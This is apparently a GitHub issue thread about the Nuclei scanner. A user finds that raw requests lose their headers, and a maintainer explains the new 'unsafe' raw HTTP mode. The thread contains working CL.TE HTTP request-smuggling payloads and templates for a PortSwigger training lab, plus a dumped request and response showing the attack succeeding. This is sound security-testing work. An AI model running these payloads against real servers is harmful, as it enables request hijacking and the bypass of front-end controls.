[feature] Headers missing or modified from raw request

[swisskyrepo]

Describe the bug
I was trying to build a template for request-smuggling but I found out some headers are stripped from the raw request blocking the exploitation attempt.

Here is an extract of the template with the raw request

requests:
  - raw:
      - |
        POST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
        Content-length: 4
        Transfer-Encoding: chunked

        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15

        x=1
        0

and my server is receiving the following request which lack of the Transfer-Encoding: chunked header, furthermore the Content-Length: was modified. Did I miss something ? :)

POST / HTTP/1.1
Host: 127.0.0.1:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Content-Length: 95
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

The payload is from PortSwigger Request Smuggling Lab.

Nuclei version
[INF] Current Version: 2.1.0

[ehsandeep]

Hey @swisskyrepo,

Thank you for creating this issue, good news is that, we already worked on this, it's not possible to send crafted or invalid request with standard net/http, so we need something else to support this, as a result, we FOSS https://github.com/projectdiscovery/rawhttp, and we already added support of it in httpx with unsafe flag and soon it will be added into nuclei as well, after that, you can literally do anything with the request.

[ehsandeep]

@swisskyrepo Raw HTTP support is added in the master code, now adding unsafe: true withing the request block should allow using raw HTTP with all the capabilities we need, we will add more details and example about these changes on the documentation website before creating a new release, here is a quick example for solving one of the lab at web academy.

id: TE.CL-http-smuggling

info:
  name: HTTP request smuggling - basic CL.TE vulnerability
  author: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
  severity: info

requests:
  - raw:
    - |
      POST / HTTP/1.1
      Host: your-lab-id.web-security-academy.net
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked
      
      0
      
      G
    - |
      POST / HTTP/1.1
      Host: your-lab-id.web-security-academy.net
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked
      
      0
      
      G
      
    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Unrecognized method GPOST")'

[swisskyrepo]

This template doesn't work in my lab, I rebuilt the binary with GO111MODULE=on go get -u -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei.
The header Transfer-Encoding: chunked is still not sent to the server.

Am I doing something wrong ?

[ehsandeep]

@swisskyrepo these changes are live in the master code and you are pulling the last stable release, if you want to use these changes before we can create a new release, you can install the master version using GO111MODULE=on go get -u -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@master or follow the Github install method in the readme page.

id: TE.CL-http-smuggling

info:
  name: HTTP request smuggling - basic CL.TE vulnerability
  author: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
  severity: info

requests:
  - raw:
    - |
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked
      
      0
      
      G
    - |
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked
      
      0
      
      G
      
    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Unrecognized method GPOST")'

[INF] Dumped HTTP request for https://accb1f821f9cf848803313e100ba00dd.web-security-academy.net (TE.CL-http-smuggling)

POST / HTTP/1.1
Host:accb1f821f9cf848803313e100ba00dd.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

[INF] Dumped HTTP response for https://accb1f821f9cf848803313e100ba00dd.web-security-academy.net (TE.CL-http-smuggling)

HTTP/1.1 403 Forbidden
Content-Length: 27
Connection: close
Content-Type: application/json; charset=utf-8
Keep-Alive: timeout=0

"Unrecognized method GPOST"
[TE.CL-http-smuggling] [http] [info] https://accb1f821f9cf848803313e100ba00dd.web-security-academy.net/
nuclei $

[swisskyrepo]

You are right, thank you :)